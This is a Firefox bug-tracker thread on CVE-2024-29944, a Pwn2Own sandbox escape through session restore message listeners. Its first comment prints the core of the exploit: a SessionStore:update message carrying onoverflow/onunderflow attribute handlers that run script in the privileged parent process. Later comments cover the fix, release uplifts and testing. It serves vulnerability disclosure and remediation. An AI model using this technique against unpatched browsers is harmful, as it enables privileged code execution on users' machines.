1886852 - (CVE-2024-29944) [pwn2own-2024] sandbox escape using non-SHIP session restore

Status: RESOLVED FIXED

(Firefox :: Session Restore, defect)

Comment 1

[Andrew McCreight [:mccr8]]

The core of the sandbox escape is basically this:

const script = `
  dump("do whatever you want in parent process chrome JS");
`;

let attr = {"style":"text-indent: 500px;", "onoverflow":script, "onunderflow":script};
const data = {"epoch":0,"data":{"attributes":attr}};
mm.sendSyncMessage("SessionStore:update",data);

Comment 2

[Nika Layzell [:nika] (ni? for response)]

Attachment: Bug 1886852 - Avoid registering unnecessary MessageManager listeners when SHIP is enabled, r=smaug!

Comment 3

[Andrew McCreight [:mccr8]]

Nika said this code is dead on desktop because bug 1804140 is on 114+, so we're always using SHIP. She also said that Android is not affected even though it is not using SHIP because the actual exploited code is not present on Android, or something like that.

Comment 4

[Tom Ritter [:tjr]]

Attachment: advisory.txt

Comment 5

[Andrew McCreight [:mccr8]]

I checked locally in an opt Nightly build with this patch that session restore still works even if Fission is disabled.

Comment 6

[Andrew McCreight [:mccr8]]

As another double check that the patch worked as expected, I wrote a patch to log when we add a message listener or receive a message manager message, in the parent process. I tested starting the browser with "open previous tabs" enabled with a few tabs saved. On MacOS desktop, without the patch, we register 5 message listeners with "SessionStore" in the name. With the patch, we don't have any. So that is working as expected. Also as expected, in this simple scenario we don't receive any messages with SessionStore in the name, both with and without the patch.

Comment 7

[Pulsebot]

Pushed by [e-mail]:
https://hg.mozilla.org/mozilla-central/rev/eccf7da6ea0f
Avoid registering unnecessary MessageManager listeners when SHIP is enabled, r=smaug!

Comment 8

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/eccf7da6ea0f

Comment 9

[Nika Layzell [:nika] (ni? for response)]

Comment on attachment 9392594 [details]
Bug 1886852 - Avoid registering unnecessary MessageManager listeners when SHIP is enabled, r=smaug!

ESR Uplift Approval Request

• If this is not a sec:{high,crit} bug, please state case for ESR consideration:
• User impact if declined: sandbox escape
• Fix Landed on Version: 126
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): Disabling dead code (as verified by ccov and code reading) which should have been behind a preference, and exposed a security vulnerability to content processes.

Beta/Release Uplift Approval Request

• User impact if declined: sandbox escape
• Is this code covered by automated tests?: No
• Has the fix been verified in Nightly?: No
• Needs manual test from QE?: No
• If yes, steps to reproduce:
• List of other uplifts needed: None
• Risk to taking this patch: Low
• Why is the change risky/not risky? (and alternatives if risky): Disabling dead code (as verified by ccov and code reading) which should have been behind a preference, and exposed a security vulnerability to content processes.
• String changes made/needed: none
• Is Android affected?: No

Comment 10

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-beta/rev/a840396413ab

Comment 11

[Dianna Smith [:diannaS]]

Comment on attachment 9392594 [details]
Bug 1886852 - Avoid registering unnecessary MessageManager listeners when SHIP is enabled, r=smaug!

Approved for 125.0b3

Comment 12

[Dianna Smith [:diannaS]]

Comment on attachment 9392594 [details]
Bug 1886852 - Avoid registering unnecessary MessageManager listeners when SHIP is enabled, r=smaug!

Approved for 115.9.1esr

Comment 13

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr115/rev/c7ef8840e93f

Comment 14

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr115/rev/f65068dc82bf

Comment 15

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-release/rev/00dc57b4677a

Comment 16

[Dianna Smith [:diannaS]]

Comment on attachment 9392594 [details]
Bug 1886852 - Avoid registering unnecessary MessageManager listeners when SHIP is enabled, r=smaug!

Approved for 124.0.1 dot release

Comment 17

[Brindusa Tot, Desktop QA]

Smoke tested Session Restore with and without Fission on RC 124.0.1-build1 and ESR 115.9.1esr-build1 - all manual tests passed. More details on confluence page: https://mozilla-hub.atlassian.net/wiki/spaces/FDPDT/pages/10617980/Firefox+regression+testing#Chemspill-124.0.1-build1